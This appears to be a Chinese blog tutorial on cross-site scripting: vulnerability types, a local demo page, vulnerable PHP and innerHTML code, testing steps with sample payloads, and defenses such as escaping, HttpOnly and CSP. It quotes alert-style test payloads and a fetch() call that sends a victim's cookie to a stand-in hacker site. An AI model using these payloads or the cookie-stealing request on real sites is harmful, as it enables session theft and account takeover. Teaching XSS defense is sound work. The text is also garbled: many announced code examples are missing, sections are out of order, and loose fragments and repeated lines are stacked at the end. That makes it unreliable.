XSS 漏洞从 0 到 1：超详细攻击与防御全解析（小白也能看懂）

程序员橘子

于 2025-04-03 11:44:22 发布

阅读量1.2k

点赞数 26

文章标签： xss 前端网络 web安全安全 javascript

本文链接：https://blog.csdn.net/wly55690/article/details/146977647

版权

第一步：XSS 是什么？

XSS（Cross-Site Scripting，跨站脚本）是一种网页攻击方式。攻击者把恶意的JavaScript代码注入到网站里，让这些代码在用户的浏览器上运行，进而窃取信息、控制网页。

简单说：XSS 就是“黑客在网页里偷偷塞入恶意代码”。

第二步：XSS 的基本原理

假设你在一个留言板上留言，你希望它正常显示你输入的内容，比如：

你好，世界！

但如果网站没有对输入进行过滤，黑客就可以输入恶意代码：

第三步xss分类：

3.1反射型 XSS (非持久型 XSS)

反射型 XSS 是最常见的一种 XSS 攻击，它通过在 URL 中嵌入恶意代码，一旦用户点击链接，恶意代码就会被服务器“反射”到浏览器并执行。

特点：攻击不会存储在数据库中，攻击是一次性的，只有当用户点击特定的链接时，才会触发攻击。
攻击过程：用户输入的数据通过 HTTP 请求传递给服务器，然后服务器返回的数据（包括用户输入）直接在网页上展示。攻击者可以利用这个机制执行恶意 JavaScript 脚本。

<?php $name = $\_GET\['name'\]; // 获取用户输入的参数 echo "Welcome $name
"; // 直接输出到网页 ?>

攻击方式：

如果攻击者将 URL 修改为 Example Domain<script>alert('XSS')</script>，当用户点击这个链接时，浏览器会执行 <script>alert('XSS')</script>，弹出提示框。
安全问题：

钓鱼攻击：

攻击者可以构造一个恶意链接，当受害者点击链接时，恶意脚本就会执行，可能会弹出模拟登录框、模拟支付页面等，引导用户输入敏感信息。

Cookie 劫持：

攻击者可以用恶意 JavaScript 获取受害者的 cookie，从而可以盗取会话信息，冒充用户执行操作（例如登录账户、发起交易等）。

跨站请求伪造 (CSRF)：

反射型 XSS 还可以用来实施 CSRF 攻击，诱使受害者执行某些未经授权的操作（例如，转账、修改账户信息等）。

3.2. 储存型 XSS (持久型 XSS)

储存型 XSS 更加危险，因为它将恶意脚本存储在服务器的数据库、日志文件或者文件系统中，通常会影响到所有访问该页面的用户。

特点：攻击代码被永久存储在服务器上，攻击者将恶意脚本存储在某个可以被其他用户访问的地方，导致每个访问该页面的用户都会受到影响。
攻击过程：攻击者通过表单提交或者评论等功能，将恶意 JavaScript 代码存储到网站数据库中，其他用户访问时，这段恶意代码会自动执行。

示例：

假设某个论坛有一个评论功能，用户输入评论后，这个评论会存储在数据库里。
如果攻击者提交评论内容 <script>alert('XSS')</script>，这个恶意脚本会被存储在数据库里，并显示在其他用户的浏览器中，导致脚本执行。

3.3 DOM XSS

DOM XSS 是通过操作网页中的 DOM（文档对象模型）来执行恶意代码的，攻击过程不涉及后端服务器，仅通过前端的脚本执行。

特点：攻击通过前端 JavaScript 动态修改网页内容，通常是通过修改 DOM 元素或者通过 JavaScript 操作 URL 参数来触发。
攻击过程：恶意 JavaScript 代码被嵌入到网页的 DOM 中，当用户浏览页面时，浏览器会根据这些动态变化的 DOM 内容执行恶意脚本。

示例：

<a href=‘#’ οnclick=“alert(1111)”>点击我执行 XSS

在这个例子中，onclick="alert(1111)" 就是一个简单的 XSS 攻击代码。
如果 JavaScript 修改了 DOM 元素，比如通过 <a href='#' onclick="alert(2222)">点击我</a>，它会在用户点击链接时弹出提示框。
第四步：动手实验（最简单的 XSS 演示）

我们先做个小实验，在你的浏览器里打开一个本地HTML文件，看看XSS代码的效果。

1. 创建一个HTML文件

你可以打开记事本（Notepad），输入以下代码，然后保存为 xss_test.html。
XSS 演示
请输入留言：

<button οnclick=“submitMessage()”>提交

留言区：


```plaintext
<script>
    function submitMessage() {
        var msg = document.getElementById("message").value;
        document.getElementById("comment").innerHTML = msg;  // 直接显示用户输入
    }
</script>

2. 运行代码

用浏览器（Chrome 或 Edge）打开 xss_test.html。
在输入框里输入：

你好，世界！

3. 进行XSS攻击

现在，我们输入：

然后点击提交，你会看到一个弹窗，说明浏览器执行了这段代码！

这就是XSS漏洞的基本原理：网页没有对用户输入进行过滤，导致恶意代码被执行。

第五步：为什么 XSS 很危险？

想象一下，如果黑客用 XSS 插入以下代码：

这段代码会把你的网站Cookie（包含登录信息）偷偷发送到黑客服务器，黑客就能冒充你登录网站，甚至盗取账户！

详细解说：

1.代码说明

在浏览器里打开开发者工具（F12），然后在 Console 里输入

console.log(document.cookie);

你会看到类似这样的输出：

session_id=ABC123XYZ; user=张三;

这个 cookie 可能存储了你的登录信息！

如果黑客获取了这个 cookie，就可以冒充你登录网站。

2. 代码的执行流程

看看这段恶意代码：

它的执行流程如下：

浏览器加载网页，发现 <script> 标签。
JavaScript 运行，其中 document.cookie 读取了当前网站的 cookie。
fetch() 函数发送请求，URL 变成：

http://黑客网站.com/steal?cookie=session_id=ABC123XYZ;user=张三;

这个请求把cookie 发送给黑客服务器，黑客就能得到你的登录信息。

3. 黑客如何利用 cookie？

如果这个 cookie 里包含登录凭证（Session ID），黑客可以：

第六步、XSS可能存在的地方（参考XSS跨站脚本攻击文档）

XSS攻击可能出现在不同的网页上下文中。每种上下文的特点决定了XSS漏洞的表现形式。下面是常见的几个上下文，接下来我会详细解释每个上下文，以及如何理解它们。

1. HTML Context

HTML上下文指的是HTML标签或元素内的内容。如果用户的输入被直接嵌入到HTML标签中，并且没有经过适当过滤，就可能导致XSS攻击。

示例：假设一个网站允许用户输入姓名，并将该姓名显示在页面上。如果没有对输入进行过滤，攻击者可以提交如下恶意输入：

欢迎,

2. Attribute Context

属性上下文指的是HTML标签属性的值。很多HTML标签（如 <img>、<a>、<input> 等）使用属性来设置内容，例如 src、href、alt、title 等。如果用户输入的数据被直接插入到这些属性中，并且没有经过过滤，也可能导致XSS攻击。

示例：假设一个用户可以输入自己的头像URL，如果没有过滤，攻击者可能输入如下恶意链接：

问题：

3. URL Context

URL上下文指的是URL中的查询字符串部分。许多网站在URL中传递数据（例如：?id=123）。如果这些数据未经适当处理，并且直接插入到网页中，攻击者可以利用这个地方进行XSS攻击。

示例：如果一个URL是这样的：

Example Domain

并且页面直接展示了 URL 参数的内容，那么攻击者的脚本就会在页面加载时执行。

问题：

4. Style Context

样式上下文是指 CSS 的上下文。如果用户输入的内容被嵌入到 <style> 标签或 CSS 样式中，且没有过滤恶意输入，就可能导致XSS攻击。

示例：假设一个网站允许用户自定义背景颜色，如果没有进行过滤，攻击者可以输入如下内容：

问题：

5. Script Context

脚本上下文指的是 JavaScript 代码执行的环境。攻击者可以通过输入恶意脚本，直接在 <script> 标签中执行 JavaScript 代码。这通常是 XSS 漏洞的最常见表现形式。

示例：如果用户输入的数据没有经过适当处理，攻击者可以输入如下恶意代码：

然后该代码被直接嵌入到 HTML 页面中的 <script> 标签内。

问题：

步骤 2：输入特殊字符

在这些输入点中，输入一些特殊字符或潜在的恶意代码，通常使用以下字符来测试是否存在漏洞：

手动测试案例：假设你在一个网站的搜索框中输入：

然后点击搜索按钮。如果返回的页面显示了你的输入并且执行了这个脚本，说明存在XSS漏洞。

步骤 3：检查返回的源码

点击提交后，查看网页源码，检查返回的内容是否直接包含了你提交的恶意代码。如果是直接插入并执行，说明没有进行适当的输入过滤，可能存在XSS漏洞。

步骤 4：搜索并定位唯一字符

使用浏览器的开发者工具（F12）查看响应的 HTML 源码，搜索你提交的恶意字符（比如 <script> 或 onerror）。检查返回的 HTML 是否包含这些字符，并且看它们是否被正确过滤。

步骤 5：提交构造的脚本

如果找到了一个可以注入脚本的地方，尝试构造一个 JavaScript 脚本并提交它，看看是否能够执行。如果能够执行，说明存在 XSS 漏洞。

实例：假设你在搜索框中输入了：

如果页面没有对这个输入进行过滤，攻击者的 JavaScript 脚本就会被执行，从而实现XSS攻击。

总结：

第八步：如何防御XSS？

1. 对用户输入进行过滤

改进上面的代码，不让 <script> 执行：

document.getElementById(“comment”).innerText = msg;

这样，即使输入 <script>，它也会以纯文本显示，而不会执行。

2. 使用 HTML 转义

把 < 变成 <，> 变成 >，让浏览器只显示文本，而不执行代码。

3. 设置 `HttpOnly`，让 JavaScript 不能读取 cookie

Set-Cookie: session_id=ABC123XYZ; HttpOnly;

这样，document.cookie 就无法读取这个 cookie，黑客也就无法窃取。

4. 使用 `Content Security Policy (CSP)`

CSP 可以阻止网站执行外部的恶意 JavaScript 代码，比如：

Content-Security-Policy: default-src ‘self’;

这样，浏览器就不会执行 fetch('http://黑客网站.com/steal') 这样的恶意代码。

4.1. 为什么 CSP 能阻止恶意 JavaScript？

XSS 攻击的核心问题是：

黑客可以把恶意 JavaScript 代码注入到网页里，并让浏览器执行！

CSP 的作用就是告诉浏览器“哪些 JavaScript 可以执行，哪些不能执行”。

如果 CSP 规则不允许加载黑客的 JavaScript 代码，那么即使黑客成功注入了<script>，浏览器也不会执行它！

4.2举个例子：没有 CSP，黑客可以执行恶意代码

假设你的网站有一个留言板，允许用户提交评论。如果网站没有过滤，黑客可能输入：

如果服务器直接把这条评论显示在网页上，浏览器会去黑客网站下载 malware.js 并执行它，造成攻击。

4.3. 设置 CSP 规则，阻止外部 JavaScript

CSP 让你可以控制：

示例：设置 CSP

服务器返回的 HTTP 头部里加上：

Content-Security-Policy: default-src ‘self’;

含义：

这样，即使黑客注入了：

浏览器也不会执行！你可以在 Console（F12） 里看到 CSP 拦截的错误日志。

4.4CSP 还能防哪些攻击？

除了 JavaScript，CSP 还可以防：

5. `HttpOnly` 只能防 XSS，不防 CSRF

虽然 HttpOnly 能防止 XSS 窃取 Cookie，但它无法防止 CSRF（跨站请求伪造）。

CSRF 利用的是 “浏览器会自动带上 Cookie”，比如：

当用户打开这个网页，浏览器会自动带上 HttpOnly Cookie，从而完成转账。因此，还需要搭配 CSRF Token 防御。

6.什么时候用 `HttpOnly`？

在自己的浏览器里伪造 cookie，然后冒充你访问网站。
绕过登录界面，直接进入你的账户，查看你的个人信息。
进行恶意操作，比如转账、修改密码等。
4. 为什么 fetch() 能发送请求？

fetch() 是 JavaScript 提供的网络请求方法，它的作用是在后台发送 HTTP 请求。这意味着：
浏览器不会弹出警告，用户完全不知情。
这个请求不会影响网页的正常显示，黑客可以悄悄偷取数据。
如果这个恶意代码直接嵌入到页面的 <p> 标签中，当页面加载时，JavaScript 代码会在用户浏览器上执行，从而触发弹窗。
这个恶意链接中的 javascript:alert('XSS') 会在浏览器中被执行，触发 alert() 弹窗。
如果页面通过 JavaScript 直接将 search 参数的内容插入到页面中，并且没有过滤，攻击者的恶意代码会被执行。
这个恶意代码会将 javascript:alert("XSS") 作为背景图片的 URL，这样当页面加载时，恶意脚本就会执行。
这种情况下，恶意的 JavaScript 代码会被浏览器执行，导致 XSS 攻击。
第七步、XSS测试方法

测试XSS漏洞时，有两种常用的方法：工具扫描和手工测试。下面详细介绍这两种方法。

1. 工具扫描：APPscan、AWVS

使用安全扫描工具（如 APPscan 或 AWVS）可以自动化地检测出XSS漏洞。工具会模拟攻击者的行为，通过大量测试和策略，自动扫描出可能存在XSS漏洞的地方。这些工具非常适合在大规模网站或应用中进行扫描。

2. 手工测试：Burpsuite、Firefox(hackbar)、XSSER XSSF

手工测试XSS漏洞需要安全测试人员具备一定的技巧和经验，通常会结合以下步骤：

步骤 1：找到输入点

首先，需要在目标站点上找到用户可以输入数据的地方。例如：
搜索框
留言板
注册表单
用户评论
<script>alert(1)</script> —— 测试网页是否可以执行脚本。
"><img src="x" onerror="alert(1)"> —— 用来测试HTML属性中的XSS漏洞。
javascript:alert(1) —— 测试URL中的XSS漏洞。
XSS攻击可能出现在不同的上下文中（HTML、URL、属性、样式、脚本等），这些上下文决定了如何注入恶意代码。
XSS测试方法包括使用工具自动扫描和手工测试，手工测试时要注重发现输入点、测试特殊字符、检查返回的源码、定位漏洞等。
如果你能在测试中成功注入恶意代码并让其执行，就说明存在XSS漏洞。
如果你能在测试中成功注入恶意代码并让其执行，就说明存在XSS漏洞。
禁止加载外部 JavaScript（防止黑客网站的恶意脚本）
只允许特定来源的 JavaScript（比如只执行自己网站的脚本）
只允许执行自己网站（self）上的 JavaScript。
阻止加载任何外部 JavaScript（包括黑客网站）。
恶意图片
Content-Security-Policy: img-src ‘self’;
这样，黑客无法加载外部恶意图片。
恶意 iframe
Content-Security-Policy: frame-src ‘self’;
内联 JavaScript
Content-Security-Policy: script-src ‘self’;
登录 Session（如 session_id）必须用 HttpOnly，防止 JavaScript 窃取。
一般存储在 JavaScript 里的 Cookie（如 user_preferences）可以不用 HttpOnly，因为前端需要读取。